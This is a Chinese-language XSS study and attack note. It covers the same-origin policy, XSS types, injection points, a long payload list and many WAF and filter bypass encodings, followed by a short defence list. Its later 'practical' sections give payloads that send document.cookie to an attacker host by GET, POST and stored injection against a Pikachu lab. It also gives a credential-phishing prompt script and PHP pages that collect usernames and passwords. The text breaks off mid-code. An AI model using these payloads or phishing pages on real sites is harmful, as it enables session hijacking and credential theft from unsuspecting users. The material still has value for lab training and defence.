最好在管理员会经常查看的地方使用

原理

同源策略

同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。
同源策略是由Netscape提出的一个著名的安全策略。现在所有支持JavaScript 的浏览器都会使用这个策略。所谓同源是指,域名,协议,端口相同。例如,https://example.com 和 https://example.com 是同源的,但 https://example.com 和 https://anotherdomain.com 是不同源的。 非同源的客户端脚本在没有明确授权的情况下,不能读写对方资源,在请求数据时,浏览器会在控制台中报一个异常,提示拒绝访问。

非同源受到的限制:
cookie不能读取
dom无法获得
ajax请求不能发送

跨域

跨域是指跨域名的访问,以下情况都属于跨域:

跨域原因说明 示例
域名不同 www.jd.com 与 www.taobao.com
域名相同,端口不同 www.jd.com:8080 与 www.jd.com:8081
二级域名不同 http://item.jd.com 与 http://miaosha.jd.com
如果域名和端口都相同,但是请求路径不同,不属于跨域,如:

www.jd.com/item

www.jd.com/goods

跨域问题是浏览器对于ajax请求的一种安全限制:一个页面发起的ajax请求,只能是于当前页同域名的路径,这能有效的阻止跨站攻击。

因此:跨域问题 是针对ajax的一种限制。
image-20231015171105337

如何绕过同源策略

尽管同源策略对安全非常重要,但有时需要进行跨源通信。为此,Web开发人员可以使用以下方法来规避同源策略的限制:

1. 跨源资源共享(CORS): 服务器可以通过设置适当的CORS标头来允许跨源请求。这允许特定源的网页访问服务器上的资源。

2. JSONP: JSONP是一种旧式的跨源通信技术,通过动态创建`<script>`标签来加载JSON数据。尽管不是最安全的方法,但在某些情况下仍然有效。

3. 代理服务器: 可以设置代理服务器,将跨源请求转发到目标服务器,并将响应返回给浏览器。代理服务器在服务器端执行,从浏览器的角度来看,它与同源。
image-20231015171432696

什么是XSS(跨站脚本攻击)

它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。这些恶意网页程序通常是 JavaScript,但实际上也可以包括 Java、 VBScript、ActiveX、 Flash 或者甚至是普通的 HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和 cookie 等各种内容。

危害

危害:都是通过js脚本来实现的浏览器内核版本也会影响到js代码的实现,可能得到包括但不限于更高的权限(如执行一些操作)

- 钓鱼欺骗
- 网站挂马  
- 身份盗用
- 盗取网站用户信息
- 垃圾信息发送
- 劫持用户Web行为
- XSS蠕虫

用白话来说
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、控制受害者机器向其它网站发起攻击

分类

1. 存储型XSS
攻击步骤:攻击者将恶意代码提交到目标网站的数据库中,用户打开网站是,网站服务端将恶意代码从数据库中取出,拼接在HTML中返回浏览器,之后用户浏览器收到响应后解析执行混入其中的恶意代码,恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户行为,调用目标网站接口执行攻击者指定的操作。
常见于带有用户保存数据的网站功能,比如论坛发帖、商品评价、用户私信等等。

发包X=123 => x.php =>写到数据库=> x.php=>回显
2. 反射型XSS
攻击步骤:攻击者构造出特殊的URL,其中包含恶意代码。当用户打开带有恶意代码的URL时,网站服务端将恶意代码从URL中取出,拼接在HTML中返回浏览器,之后用户浏览器收到响应后解析执行混入其中的恶意代码,恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户行为,调用目标网站接口执行攻击者指定的操作。
常见于通过 URL 传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

发包x=123 => x.php => 回包
3. DOM型XSS
攻击步骤:攻击者构造出特殊的URL,其中包含恶意代码,用户打开带有恶意代码的URL,用户浏览器打开带有恶意代码的URL,之后用户浏览器收到响应后解析执行,前端JS取出URL中的恶意代码并执行,恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户行为,调用目标网站接口执行攻击者指定的操作。
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

发包 x=123 => 本地浏览器静态前段代码=x.phpHTML
image-20230926214639994

注入点与思路

手工:自己构造payload,见框就插

工具:safe3,AWVS,Burpsuite丶Appscan丶XssSniper浏览器插件丶cookie修改工具
一、标签中间<><>
1、可能存在于:<textarea> <p> <a>
注意以上这些标签应该都需要闭合,但是如果是<div>的话就不需要

2、可以直接F12在html进行注入(<p><img></p>),如果编码了(<p>&lt;img&gt;</p>)就没xss问题。没过滤则有xss问题(<p><img></p>)。

3、这里补充一个“双写绕过”
https://cloud.tencent.com/developer/article/1376933
<scri<script>pt> 把<script>过滤掉了,但是前面后面又凑成一个<script>

4、如果没有编码过滤就尝试注入(<script>alert(1)</script>或者<img src=1 onerror=alert("xss")>或者<input type="image" src=1 onerror = "alert(1)">),发现没有弹框。原因是没有闭合,把前后便签闭合(</textarea><img src=1 onerror=alert("xss")><textarea>)。

5、如果限制不允许输入空格,输入空格即进行html编码。
用<img/src/onerror=alert(1)>也可以达到xss的目的。
<svg/onload=alert(1)>

不允许输入(),可用反引号

<script>alert `1`</script>

不允许反引号,可以用html编码

<img src="x" onerror="alert&#40;1&#41;">

(
笔记补充:
新建一个test.html,在文本里写入<img src=1 onerror=alert(/xss/)>,用浏览器打开就会弹框
img标签中的src图片加载失败,原来的图片位置会出现一个碎片图标。想去除载入图片失败时显示在左上角的碎片图标,这个要借用img标签的onerror事件和javascript,img标签支持onerror 事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件。

<img src="images/logo.png" οnerrοr="javascript:this.src='images/logoError.png';">

当图片不存在时,将触发 onerror,而 onerror 中又为 img 指定一个logoError.png 图片。也就是说图片存在则显示logo.png,图片不存在将显示logoError.png。
)
二、标签值中间,例如<img value=" ">
1、这时候需要去闭合“和<,注入的payload形如">内容<"
测试的时候可以F12检查一下html有没有过滤双引号,如果过滤了则不需要再用这种方式注入了。

2、如果双引号过滤了,可以使用
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
即<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
在浏览器上输入data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=是可以弹框的。
也可以使用<img src="1" onclick="alert(xss)"> 点击图片触发xss

3、如果双引号过滤了,可以通过转义符号\绕过双引号过滤,该处只对双引号做过滤。

\"><img src=1 onerror=alert(xss)>

除了\",还可以使用 "html 和%df绕过过滤。

(
问题:
已有url或者html编码
想对标签进行闭合时,发现已经对引号编码

解决方案:
绕过编码的方法 "html %df \"
%df就会变成中文的字节
\可以绕过html编码,\本来就是反编译
)
三、容易产生XSS的js
1、innerHTML 属性设置表格行的开始和结束标签之间的 HTML。
2、eval() 函数如果参数是一个表达式,eval() 函数将执行表达式。如果参数是Javascript语句,eval()将执行 Javascript 语句。
3、使用new Function创建函数的时候(第一个参数是函数名),如果第二个参数是用户可控的,那么就有可能产生代码注入的问题。
4、使用setTimeout和setInterval的时候,如果第一个参数是用户可控的(第一个参数是执行的代码),那么就有可能产生代码注入的问题。
5、当我们想要使用URL跳转功能的时候,需要注意URL不要被用户控制,并且做了严格的过滤,否则会被恶意利用(不仅会造成不安全跳转问题,还会造成XSS问题)。windows.location.href=“url” - 在当前页面打开url页面
四、上传图片
如果上传图片时,request的参数中有 filename=“https://xx.xx.xx//img/1.jpg”
直接编辑filename为

"https://xx.xx.xx//img/1.jpg "onclick=alert(xss)//

参数为type = “1.jpg”,也可直接编辑为

type = "1.jpg" onclick = alert(xss)//"
五、插入的链接
1、">没有被过滤即可

https://www.baidu.com/img"><script>alert(xss)</script>

2、href属性
Javascirpt:alert(xss)
这里开发多半会用黑名单方式禁止输入Javascirpt,这可以有大小写、ASCII编码、16进制编码、data协议多种方式绕过过滤。
JaVaScript,JavaJavascirptscirpt,J%41vascirpt,Data:text/html,base64:
六、上传的文件(上传时候是填链接)
1、外部构造好的图片-----可以通过禁止插入外部的图片去防御
https://www.valid.com/img/1.jpg

2、本地构造好的图片
svg形式可以直接弹框,打开jpg如果出现图片内容
七、上传的文件
1、文件名可注入

<script>alert(xss)</script>.jpg

2、文件参数里也可以加payload
八、markdown声明
声明隐私容易使用markdown
漏洞:引号逃逸-------如果没过滤引号的话会造成弹框,一般会编码引号
[a](javascript:alert('xss'))会变成

<a>payload</a>

[img](javascript:alert('xss'))会变成

<img src="payload">
九、二次弹框
用户名的下拉框会有很多人名
人名是我们之前在另一个地方创建的,在那里过滤了不能弹框。但是在下拉框里会弹框。
比如可以注入<script>alert(xss),后面能自己补上</script>
十、请求头的Referer
没有过滤,可以在请求头里直接加<script>alert(xss)</script>
十一、请求头的x-forwarded-for
x-forwarded-for:127.0.0.1,payload
十二、请求头的usergent 直接加payload
十三、Cookie---------会存在dom xss,F12里面cookie参数的value值直接改
直接改value值,改了如果没弹框也恢复了原来的值就没问题
如果没弹框但是也没有恢复原来的值,是有问题的,可以换注入方式
十四、Tinymce编辑器iframe标签未启动sandbox属性,导致存储型XSS
Tinymce编辑器,可以源码编辑。尝试注入xss payload,发现过滤了各类标签和事件属性,比如<svg>、<img>、on开头的事件等。
发现iframe标签没有sandbox属性,由于iframe标签可以跨域请求资源,因此攻击者可以构造https服务器,将xss payload放在恶意服务器根目录下。使用iframe标签加载。
因此,配置payload为:

<p><iframe src="https://10.122.111.133:8888/1.html"></p></iframe></p>

10.122.111.133搭建一台https服务器,1.html的内容为<script>alert(1)</script>。

注入思路

1. 先确定是上面那种注入类型,找到注入点,有的比较麻烦,例如:http://127.0.0.1/xss_labs-master2/example8.php 这关,注入点在一个显示位调用了url的相对路径,我们进行闭合之后就可以为所欲为,所有找到注入点很重要
2. 随便输入123之后去源码看显示位,再看看过滤什么特殊符号,准备进行注入
3. 再判断如何进行闭合,闭合完成绕过他的过滤,选择payload进行注入


① 在目标站点上找到输入点,比如查询接口,留言板等;
② 输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理;
③ 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);
④ 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;
TIPS(技巧):
1.一般查询接口行存储和显示的位置都有可能出现存储型跨站容易出现存储型XSS;
2.由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器);
3.通过变化不同的script,尝试绕过后台过滤机制;

常见XSS盲打点:
1.各类APP的投诉以及建议的地方

2.留言评论处,反馈处等

3.充值需要提交给后台审核处

4.名字,真实姓名,银行信息,个人签名以及头像处等等

判断完成注入位置后

image-20230926221557254
image-20230926221611263
image-20230926221619430
image-20230926221627640

常见的payload

"" onclick="alert(1)"
<script>alert(document.cookie)</script>
<script>alert(1);</sciript>
<img src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<a href=javascript:alert('1')>test</a>
<img src="x" onerror=alert(1)>
<svg onload=alert(1)>
<script>alert(1);</sciript>
<img src="x" onerror=alert(1)> # 图片加载错误时触发
<img src="1" onerror=eval("alert('xss')")> # 鼠标指针移动到元素时触发
<img src=1 onmouseover="alert(1)"> # 鼠标指针移出时触发
<img src=1 onmouseout="alert(1")> # 鼠标指针移出时触发
<a href="http://www.qq.com">qq</a>
<a href=javascript:alert('1')>test</a>
<a href="javascript:a" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
<input onfocus="alert('xss');"> # 竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus> # 通过autofocus属性执行本身的focus事件,这个变量是使焦点自动跳转到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script> # 按下按键时触发
<input type="text" onkeydown="alert(1)"> # 按下按键时触发
<input type="text" onkeypress="alert(1)"># 松开按键式时触发
<input type="text" onkeyup="alert(1)">
<form action=javascript:alert('xss') method="get"><form action=javasript:laert('xss')><form action=1 onmouseover=alert('xss)>
<iframe>

<iframe onload=alert("xss");></iframe>
<iframe src=javascript:alert('xss')></iframe>
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<svg>

<svg onload=alert(1)>
<body>

<body onload="alert(1)"> # 利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
<body onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<button>

<button onclick="alert(1)">text</button> # 元素上点击鼠标时触发
<p onmousedown="alert(1)">text</p> # 元素上按下鼠标时触发
<p onmouseup="alert(1)">text</p> # 元素上释放鼠标时触发
<details>

<details ontoggle="alert('xss');"> # 使用open属性触发ontoggle事件,无需用户去触发
<details open ontoggle="alert('xss');">
<select>

<select onfocus=alert(1)></select> # 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<select onfocus=alert(1) autofocus>
<video>

<video><source onerror="alert(1)">
<audio>

<audio src=x onerror=alert("xss");>
<textarea>

<textarea onfocus=alert("xss"); autofocus>
<keygen>    //仅限火狐

<keygen autofocus onfocus=alert(1)> 
javascript伪协议

<a>标签
<a href="javascript:alert('xss');">xss</a>

<iframe>标签
<iframe src=javascript:alert('xss');></iframe>

<img>标签
<img src=javascript:alert('xss')>//IE7以下

<form>标签
<form action="Javascript:alert(1)"><input type=submit>

文件上传xss

在文件上传处,存在任意文件上传,但是对应的脚本不解析,可以混一个htmlxss

html-xss

<html>
    <body>
    <img src=1 onerror=alert(1)>
    </body>
</html>
<html>
<body>
<script>alert(1)</script>
</body>
</html>

svg-xss

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
   <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
   <script>alert(1)</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>

xml-xss

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>

waf绕过

过滤空格

用 / 代替空格

<img/src="x"/onerror=alert("xss");>

过滤关键字

大小写绕过

<ImG sRc=x onerRor=alert("xss");>

双写关键字(有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过,这要根据实战情况下进行改写)

<imimgg srsrcc=x onerror=alert("xss");>

字符拼接
1、比如过滤的是alert(利用eval,不仅仅在img标签中其他标签照样适用可以不断进行改写)
2、(利用top,不仅仅在script标签中其他标签照样适用可以不断进行改写)

<script>top["al"+"ert"](`xss`);</script>
<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">

其它字符混淆:有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了

利用注释符
<<script>alert("xss");//<</script>
<scri<!--test-->pt>alert("hello world!")</scri<!--test-->pt>
标签的优先级
<title><img src=</title>><img src=x onerror="alert(``xss``);">
因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

编码绕过

Unicode编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

Hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

八进制绕过
<img src=x onerror=alert('\170\163\163')>

base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤括号

当括号被过滤的时候可以使用throw来绕过<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

过滤url地址

  • 使用url编码
  • html标签中用//可以代替http://使用\ (注意:在windows下\本身就有特殊用途,是一个path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议)
  • 使用中文逗号代替英文逗号
使用url编码
<img src="x" onerror=document.location=``http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/``>

使用不同进制
<img src="x" onerror=document.location=``http://2130706433/``>十进制
<img src="x" onerror=document.location=``http://0177.0.0.01/``>八进制
<img src="x" onerror=document.location=``http://0x7f.0x0.0x0.0x1/``>十六进制
<img src="x" onerror=document.location=``//www.baidu.com``>

使用中文逗号代替英文逗号
<img src="x" onerror="document.location=``http://www。baidu。com``">//会自动跳转到百度

注意如果有的src直接插入的话,可以使用<img src="x" onerror=console.log(alert(document.cookie));>来测试

限制 " 符号,输入<img src=1 onclick=alert('1')>
限制 ' 符号,输入<img src=1 onclick=alert(/1/)>、<img src=1 onclick="alert(1)">
限制 () 符号,输入<img src=1 onclick=”alert `'1'`>
限制 () ' " 符号,输入<img src=1 onclick=alert `1`>

alert绕过

 (alert)(1)a=alert,a(1)[1].find(alert)top[/al/.source+/ert/.source](1)al\u0065rt(1)top[‘al\145rt’](1)top[8680439..toString(30)](1)

一些绕过语句

<sVG/x=">"/oNloaD=confirm()//
/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
<lol/onauxclick=[0].some(alert)>rightclick
<svg onx=() onload=(confirm)(1)>
<xssBypass/onpointermove=(confirm)(1)>MoveMouseHere
<svg onx=() onload=(confirm)(1)>
<img src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<script>alert(document.cookie)</script>

可能遇到的防御

跨站脚本(XSS)漏洞是一种常见的网络安全威胁,攻击者通过在网站上注入恶意脚本来攻击用户。以下是防御XSS漏洞的一些重要措施:

  1. 输入验证和过滤:
  • 对所有用户输入的数据进行验证和过滤,包括表单输入、URL参数、Cookie等。确保只接受合法、预期的数据。
  1. 输出编码:
  • 在将用户输入的数据输出到网页时,使用适当的输出编码,如HTML实体编码(HTML entities encoding)或JavaScript转义,以防止恶意脚本执行。
  1. Content Security Policy (CSP):
  • 实施CSP策略来限制网页可以加载的资源和执行的脚本。CSP可以减少XSS攻击的风险,通过定义白名单策略,只允许加载指定来源的内容和执行特定类型的脚本。
  1. 避免内联脚本:
  • 尽量避免在HTML中使用内联脚本,而是将JavaScript代码放在外部文件中,并使用<script>标签引用这些文件。
  1. 避免动态生成JavaScript代码:
  • 避免将用户输入的数据动态生成JavaScript代码,因为这可能导致XSS攻击。
  1. HttpOnly和Secure标记:
  • 对于Cookie,使用HttpOnly标记来禁止JavaScript访问敏感Cookie数据,并使用Secure标记来确保Cookie只在HTTPS连接中传输。
  1. 使用框架和库:
  • 使用安全性较高的Web框架和库,这些框架通常会提供内置的XSS防护措施,如自动输出编码。

绕过一些简单的过滤符号

用 / 代替空格
<img/src="x"/onerror=alert("xss");>


大小写绕过
<ImG sRc=x onerRor=alert("xss");>


双写关键字
<imimgg srsrcc=x onerror=alert("xss");>


字符拼接(利用eval)
<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">


字符拼接(利用top)
<script>top["al"+"ert"](`xss`);</script>

(alert)(1)

a=alert,a(1)

[1].find(alert)

top["al"+"ert"](1)

top[/al/.source+/ert/.source](1)

al\u0065rt(1)

top['al\145rt'](1)

top[8680439..toString(30)](1)


有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
<<script>alert("xss");//<</script>


因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
<title><img src=</title>><img src=x onerror="alert(``xss``);"> 


Unicode编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
//转ascii写法
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
//转中文写法


url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>


Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">


Hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>


八进制绕过
<img src=x onerror=alert('\170\163\163')>


base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">


如果是html标签中,我们可以不用引号;如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(`xss`);>
或者使用编码方式绕过


当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">


使用url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>


使用IP
<img src="x" onerror=document.location=`http://2130706433/`>十进制
<img src="x" onerror=document.location=`http://0177.0.0.01/`>八进制
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>十六进制


绕过http://,在html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>


使用中文逗号代替英文逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">
//会自动跳转到百度

自己实战中总结的一些绕过思路

一个地方直接调用url中的相对路径,上去直接一个闭合,后面直接想干什么干什么

闭合

不要忘了``是可以当小括号使用的

svg标签可直接执行实体字符即HTML转义字符,若不添加在前则包含解析script标签内容的编码内容

不区分大小写

复写

javascr&#x69;pt:alert(1) 编码

javascr&#x69;pt:alert(1)//http:// 白名单只要http://

?t_sort=" onmouseover=alert(1) type="text   发现三个隐藏域只有一个有显示位,所以在url给隐藏域传值,但是因为类型属于hidden,所以我们在创建一个新标签

"onclick ="alert(1)" type="text   注入点在referer

注入点在cookie
"onclick ="alert(1)" type="text

ng-include: 用于包含外部的HTML文件默认需要同域名,所传入到目标页面的HTML实体编码不生效
需要注意使用ng-include时我们需要用引号把我们的外部连接引起来
?src='http://127.0.0.1/xss-labs-master/level1.php?name="><a href="javascript:alert(/xss/)">xss'

相当于我们在keyword后面新建<a>标签
测试注入,发现对script、/、空格 进行替换
?keyword=<a%0Ahref='javas%0Acript:alert("xss")'>xsst

?arg01=a&arg02= onmouseover=alert(1)

HTML注释支持以下两种方式:
<!-- xxx -->
<!- xxx -!> <!— 以!开头,以!结尾对称注释的方式 —!>

过滤了auto、大于号>、以on开头=等号结尾,将其替换成_,且忽略大小写。但是没有过滤换行,直接可以换行绕过。

XSS实战

获取cookie

GET型

条件需要可以在地址栏传参

在地址栏进行传参需要注意的是+要转义为%2B,跳转的网址需要是我们写好抓取cookie值的文件,url拼接上document.cookie,带着cookie过去好进行传参

payload
http://192.168.1.12/pikachu-master/vul/xss/xss_reflected_get.php?message=<script>location.href='http://192.168.1.187/pikachu/pkxss/xcookie/cookie.php?cookie='%2Bdocument.cookie;</script>&submit=submit
//cookie.php为咱们接受cookie的页面

http://192.168.1.12/pikachu-master/vul/xss/xss_reflected_get.php?message=这一部分为存在XSS漏洞的地方

<script>location.href='http://192.168.1.187/pikachu/pkxss/xcookie/cookie.php?cookie='%2Bdocument.cookie;</script>这一部分为XSS语句,跳转到恶意网址获取他的COOKIE

image-20231008093636779

POST型

在输入框进行输入

进行我们的操作,找到存在注入点的页面后,把该网站注入点存在的url地址作为我们的form表单的提交地址(action),然后按照该网站的源代码进行模拟,即把我们的攻击语句放到存在的注入点的输入框的value当中,即让页面自动执行该语句,因为value表示默认,即使被攻击者不输入任何值,也会被执行.而value当中的内容与get方式类似.所以,总的来说:相当于我们首先找到一个存在post注入的页面,然后我们自己构造一个网站,该网站的代码功能为模拟存在注入点页面,将我们的攻击语句通过模拟该输入框表的功能设置为默认值,然后提交对象为存在该注入点的网址,最后在再设置一个自动加载或者提交的功能,从而确保一定会被执行.然后把我们创造的该页面的网址发给被攻击者,诱使被攻击者点击

需要我们自己改一个html文件需要他带着cookie访问网址过来我们获取

image-20231007173616128

关键代码

 <form method="post" action="http://192.168.1.12/pikachu-master/vul/xss/xsspost/xss_reflected_post.php">
       <input  type="text" name="message" value="<script>location.href='http://192.168.1.187/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>">
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
image-20231008093124639

储存型

一般用作在该数据会存储到数据库的时候,会用到储存型注入,例如在留言区,或者网购订单备注,当有人员查看的时候,会获取该人员的cookie

很简单,写到数据库中谁看就获取谁的
<script>location.href='http://192.168.1.187/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
image-20231007175428041

钓鱼

原理:在目标会访问的网站上,利用JS精心构造页面诱导用户下载木马。


前提条件:

需要一个存储型的XSS,最好还拥有webshell的权限方便更改。
一个免杀木马,免杀效果一定要有,总不能落地就被杀了吧
上线通知和自动收杆插件,避免一直盯着页面,上钩后还要卸载页面。
image-20231008194044309

一般要用在页面会显示数据库内容的地方,所有人加载页面的时候会执行js,让用户输入用户名密码

JSON文件(我们自己写的用来代替下面那个php文件的)

url=window.location.search.split('?????').reverse()[0];//获取url地址上?后面的内容并用 ????? 来分割成数组,然后取第二个值,也就是?????后面的值
if (url!=='Aa123456'){//判断??????后面的值是否正确
    while(!(account=prompt('请输入账号')));//循环判断用户是否有输入账号,如果没有弹窗输入框让用户输入
    while(!(password=prompt('请输入密码')));//循环判断用户是否有输入密码,如果没有弹窗输入框让用户输入
    location.href='http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username='+account+'&password='+password;//让用户跳转到存储账号密码的页面
}

原本用来钓鱼的弹窗(但是因为phpstudy开启了cgi所以不支持这种方法)

<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
    header('Content-type:text/html;charset=utf-8');
    header("WWW-Authenticate: Basic realm='认证'");
    header('HTTP/1.0 401 Unauthorized');
    echo 'Authorization Required.';
    exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
    header("Location: http://192.168.1.15/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
    &password={$_SERVER[PHP_AUTH_PW]}");
}

?>

用来显示和操作钓鱼获得的信息

<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();


// 判断是否登录,没有登录不能访问
if(!check_login($link)){
    header("location:../pkxss_login.php");
}


if(isset($_GET['id']) && is_numeric($_GET['id'])){
    $id=escape($link, $_GET['id']);
    $query="delete from fish where id=$id";
    execute($link, $query);
}
?>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>钓鱼结果</title>
<link rel="stylesheet" type="text/css" href="../antxss.css" />
</head>
<body>
<div id="title">
<h1>pikachu Xss 钓鱼结果</h1>
<a href="../xssmanager.php">返回首页</a>
</div>
<div id="result">
    <table class="tb" border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
        <tr>
            <td class="1">id</td>
            <td class="1">time</td>
            <td class="1">username</td>
            <td class="1">password</td>
            <td class="2">referer</td>
            <td class="2">操作</td>
        </tr>
    <?php 
    $query="select * from fish";
    $result=mysqli_query($link, $query);
    while($data=mysqli_fetch_assoc($result)){
$html=<<<A
    <tr>
        <td class="1">{$data['id']}</td>
        <td class="1">{$data['time']}</td>
        <td class="1">{$data['username']}</td>
        <td class="1">{$data['password']}</td>
        <td class="2">{$data['referer']}</td>
